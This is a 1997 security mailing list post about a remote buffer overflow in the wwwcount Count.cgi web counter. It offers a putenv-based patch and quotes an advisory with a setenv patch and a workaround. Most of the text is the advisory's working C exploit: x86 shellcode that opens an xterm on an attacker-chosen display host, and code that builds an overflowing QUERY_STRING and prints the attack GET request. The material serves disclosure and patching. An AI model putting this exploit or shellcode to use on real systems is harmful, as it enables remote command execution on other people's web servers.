[417] in Best-of-Security
BoS: wwwcount remote exploit
daemon@ATHENA.MIT.EDU (Randall J. Wormser)
Thu Oct 23 04:18:49 1997
Old-X-Envelope-From: nrjw@chevron.com Wed Oct 22 14:37:27 1997
Date: Tue, 21 Oct 1997 23:36:34 -0500 (CDT)
From: "Randall J. Wormser" <nrjw@chevron.com>
In-Reply-To: <199710161823.UAA00363@plaguez.plaguez.COM>
Old-X-Originally-To: To: best-of-security@cyber.com.au
Old-X-Originated-From: From: "Randall J. Wormser" <nrjw@chevron.com>
Errors-To: best-of-security-request@cyber.com.au
To: best-of-security@cyber.com.au
Resent-From: best-of-security@cyber.com.au
On Thu, 16 Oct 1997, Nicolas Dubee wrote:
>
> Ok.
> Well, this wasn't supposed to be released so early but, anyway,
> as we're on the subject (wwwcount)...
If your system uses putenv(3C) rather than setenv, something like the
following patch may work better than the one posted below:
------------- patch start ---------------
*** main.c Thu May 2 22:15:48 1996
--- main.c Tue Oct 21 23:33:12 1997
***************
*** 56,61 ****
--- 56,78 ----
};
+ void wrapit(char *envvar,int esize)
+ {
+ char *tmp,*tmp2;
+ int envlen;
+ envlen = strlen(envvar);
+ tmp=malloc(esize+envlen+2);
+ if(tmp==NULL)
+ {
+ Debug2("Can't allocate wrapper memory buffer.",0,0);
+ exit(1);
+ }
+ strcpy(tmp, envvar);
+ strcat(tmp, "=");
+ strncat(tmp,(tmp2=getenv(envvar))?tmp2:"",esize);
+ tmp[envlen+esize+1]='\0';
+ putenv(tmp);
+ }
void main (argc, argv)
int
argc;
***************
*** 183,188 ****
--- 200,211 ----
display_what=SHOW_COUNTER;
remote_ip=(char *) NULL;
+ /*
+ * avoid any buffer overflow problem by cutting some env variables
+ */
+ wrapit("QUERY_STRING",600);
+ wrapit("HTTP_REFERER",600);
+ wrapit("HTTP_USER_AGENT",600);
/*
** parse command line, this is only used for testing at commandline
** no command line flag is allowed in the web page while calling
-------------- patch end ----------------
>
>
> >
> >From: Razvan Dragomirescu <drazvan@kappa.ro>
> >Subject: Security flaw in Count.cgi (wwwcount)
> >To: BUGTRAQ@NETSPACE.ORG
> >
> >-----BEGIN PGP SIGNED MESSAGE-----
> >Hash: SHA1
> >
> >Hi all,
> >
> >I have found a vulnerability in Muhammad A. Muquit's wwwcount version 2.3
> [...]
> >And one more thing. A search on AltaVista for "Count.cgi" returned about
> >200.000 matches. I do not know how many of them were versions 2.3.... but
> >even 50.000 vulnerable computers do not make me feel comfortable.
> >
> >Be good.
> >Razvan
> >
> >P.S. You can find information about wwwcount at
> >http://www.fccc.edu/users/muquit/Count.html
> >
> >
> >- --
> >Razvan Dragomirescu
> >
>
>
>
>
> plaguez security advisory n.11
>
> Count.cgi (wwwcount) remote exploit
>
>
>
>
> Program: Count.cgi (wwwcount), a popular CGI web counter
>
> Version: Tested on 2.3, others probably affected as well (?)
>
> OS: All
>
> Impact: a buffer can be overflowed in the Count.cgi program,
> allowing remote http users to execute arbitrary commands
> on the target machine.
>
>
>
> Hi,
>
> there are at least two buffer overflow vulnerabilities in wwwcount, a
> widely used CGI web counter.
> The most harmful occurs when the QUERY_STRING environment variable
> (which reflects the url asked by the www client) is copied to a
> fixed-size dynamic buffer. Another one occures only when the counter
> is compiled with a special authentication option, and may not
> be exploitable.
>
> Fix:
> ----
> As they are exploitable remotely, these holes are extremely serious
> and should be addressed as soon as possible. A temporary fix, if the
> sources are not available, is to remove the exec permissions
> (chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/
> directory).
> The actual fix is pretty simple. Apply the following patch to the
> file main.c. Environment variables will be cutted down to their first
> 600 chars. The idea of this patch can also be adapted for other
> purposes, mainly to develop a generic cgi-bin wraper.
>
>
>
> 58a59,72
>
> > void wrapit(char *envvar,int esize)
> > {
> > char *tmp,*tmp2;
> > tmp=malloc(esize+1);
> > if(tmp==NULL)
> > {
> > Debug2("Can't allocate wrapper memory buffer.",0,0);
> > exit(1);
> > }
> > strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
> > tmp[esize]='\0';
> > setenv(envvar,tmp,1);
> > }
> >
> 89c103
> < char
> ---
> > char
> 185a200,207
> > /*
> > * avoid any buffer overflow problem by cutting some env variables
> > */
> >
> > wrapit("QUERY_STRING",600);
> > wrapit("HTTP_REFERER",600);
> > wrapit("HTTP_USER_AGENT",600);
> >
>
>
>
> Exploit:
> --------
> here is a _sample_ exploit, designed to be used on localhost. Needs lots of
> work to be really usefull, remote stack prediction is still a big problem.
>
>
>
> ------------cutcut-------8<-----------------------------------------------
>
> /*
>
> Count.cgi (wwwcount) linux test exploit
> (c) 05/1997 by plaguez - dube0866@eurobretagne.fr
> Contact me if you manage to improve this crap.
>
> This program needs drastic changes to be useable.
> If you can't understand how to modify it for your own purpose,
> please do not consider trying it.
>
> */
>
>
> #include <stdio.h>
> #include <stdlib.h>
>
> char shell[]=
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
> "\x5e\x18\x88\x46\x2c\x88\x46\x30"
> "\x88\x46\x39\x88\x46\x4b\x8d\x56"
> "\x20\x89\x16\x8d\x56\x2d\x89\x56"
> "\x04\x8d\x56\x31\x89\x56\x08\x8d"
> "\x56\x3a\x89\x56\x0c\x8d\x56\x10"
> "\x89\x46\x10\xb0\x0b\xcd\x80\x31"
> "\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff"
> "/usr/X11R6/bin/xterm0-ut0-display0"
> "127.000.000.001:00"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff\xff\xff\xff\xff\xff"
> "\xff\xff\xff";
>
>
> /*
>
> Assembly stuff for the previous buffer.
> This basically implements an execve syscall, by creating
> an array of char* (needs to put a null byte at the end of
> all strings).
> Here we gonna exec an xterm and send it to our host.
> (you can't simply exec a shell due to the cgi proto).
>
> jmp 60
> popl %esi
> xorl %eax,%eax # efface eax
> movl %esi,%ecx # recupere l'adresse du buffer
> leal 0x18(%esi),%ebx # recupere l'adresse des chaines
> movb %al,0x2c(%esi) # cree les chaines azt
> movb %al,0x30(%esi) #
> movb %al,0x39(%esi)
> movb %al,0x4b(%esi)
> leal 0x20(%esi),%edx # cree le char**
> movl %edx,(%esi)
> leal 0x2d(%esi),%edx
> movl %edx,0x4(%esi)
> leal 0x31(%esi),%edx
> movl %edx,0x8(%esi)
> leal 0x3a(%esi),%edx
> movl %edx,0xc(%esi)
> leal 0x10(%esi),%edx
> movl %eax,0x10(%esi)
> movb $0xb,%al
> int $0x80 # passe en mode kernel
> xorl %ebx,%ebx # termine proprement (exit())
> movl %ebx,%eax # si jamais le execve() foire.
> inc %eax #
> int $0x80 #
> call -65 # retourne au popl en empilant l'adresse de la chaine
> .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
> .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
> .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
> .ascii \"/usr/X11R6/bin/xterm0\" # 44
> .ascii \"-ut0\" # 48
> .ascii \"-display0\" # 57 au ;
> .ascii \"127.000.000.001:00\" # 75 (total des chaines)
> .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
> .byte 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
> ...
> */
>
> char qs[7000];
> char chaine[]="user=a";
>
> unsigned long getesp() {
> // asm("movl %esp,%eax");
> return 0xbfffee38;
> }
>
> void main(int argc, char **argv) {
> int compt;
> long stack;
>
> stack=getesp();
>
> if(argc>1)
> stack+=atoi(argv[1]);
>
> for(compt=0;compt<4104;compt+=4) {
> qs[compt+0] = stack & 0x000000ff;
> qs[compt+1] = (stack & 0x0000ff00) >> 8;
> qs[compt+2] = (stack & 0x00ff0000) >> 16;
> qs[compt+3] = (stack & 0xff000000) >> 24;
> }
>
>
> strcpy(qs,chaine);
> qs[strlen(chaine)]=0x90;
>
> qs[4104]= stack&0x000000ff;
> qs[4105]=(stack&0x0000ff00)>>8;
> qs[4106]=(stack&0x00ff0000)>>16;
> qs[4107]=(stack&0xff000000)>>24;
> qs[4108]= stack&0x000000ff;
> qs[4109]=(stack&0x0000ff00)>>8;
> qs[4110]=(stack&0x00ff0000)>>16;
> qs[4111]=(stack&0xff000000)>>24;
> qs[4112]= stack&0x000000ff;
> qs[4113]=(stack&0x0000ff00)>>8;
> qs[4114]=(stack&0x00ff0000)>>16;
> qs[4115]=(stack&0xff000000)>>24;
> qs[4116]= stack&0x000000ff;
> qs[4117]=(stack&0x0000ff00)>>8;
> qs[4118]=(stack&0x00ff0000)>>16;
> qs[4119]=(stack&0xff000000)>>24;
> qs[4120]= stack&0x000000ff;
> qs[4121]=(stack&0x0000ff00)>>8;
> qs[4122]=(stack&0x00ff0000)>>16;
> qs[4123]=(stack&0xff000000)>>24;
> qs[4124]= stack&0x000000ff;
> qs[4125]=(stack&0x0000ff00)>>8;
> qs[4126]=(stack&0x00ff0000)>>16;
> qs[4127]=(stack&0xff000000)>>24;
> qs[4128]= stack&0x000000ff;
> qs[4129]=(stack&0x0000ff00)>>8;
> qs[4130]=(stack&0x00ff0000)>>16;
> qs[4131]=(stack&0xff000000)>>24;
>
> strcpy((char*)&qs[4132],shell);
>
> /* Choose what to do here */
> printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
> /*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
> printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
> setenv("QUERY_STRING",qs,1);
> system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
> system("/bin/sh");*/
>
> }
> -------------------------------------8<-------------------------
>
>
>
>
> later,
>
>
>
> -plaguez
> dube0866@eurobretagne.fr
>
>
>
>
>
>
>
>
>
>
>
> BTW here is my _NEW_ pgp key. The old one went to another dimension in
> in an hd crash (NEVER ^C the e2defrag shit !).
> Sorry for the ppl who are sending encrypted mails with the old key.
> This time I'll make backups.
>
> Type Bits/KeyID Date User ID
> pub 1024/FF7CBA31 1997/10/08 plaguez <dube0866@eurobretagne.fr>
>
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: 2.6.3i
>
> mQCNAzQ7utYAAAEEAOJCaB92rTsUutk5TYpIIFDevSGutQzMaUpsoOqTbUHHzdXE
> XoqP1FKYQ1kBQHqwy8KFFW71PLpRh2ruBQp7KN9TAF/aVsvq7vrY3gbgfBKjd5Mb
> 7at2G2wxWXAIY/Pse8MhyVWNomM74F4fGYxZ3SakBUva3tBV57sRa5D/fLoxAAUR
> tCJwbGFndWV6IDxkdWJlMDg2NkBldXJvYnJldGFnbmUuZnI+iQCVAwUQNDu61rsR
> a5D/fLoxAQHRBwQAv7pSTXs1giB1HcLs5gJQhMVodYPO6QsCS235UGJOLQ9K2azT
> 9MH8FDrzFWALf2MqgPSIsV5njedgDjURreF9+Hvoto0zj7ACE62NHB1UdyuiprFy
> KhY8xtBarVSJ6qWWyM+Fld6bY3sagDCsrsyqdUvp5Enl9ASEFlJSUCH05X4=
> =CFE6
> -----END PGP PUBLIC KEY BLOCK-----
>
>
Randall J. Wormser
Chevron Information Technology Co. Phone ....... (504) 592-6279
935 Gravier Street FAX ......... (504) 592-7106
New Orleans, LA 70112 E-Mail .... nrjw@chevron.com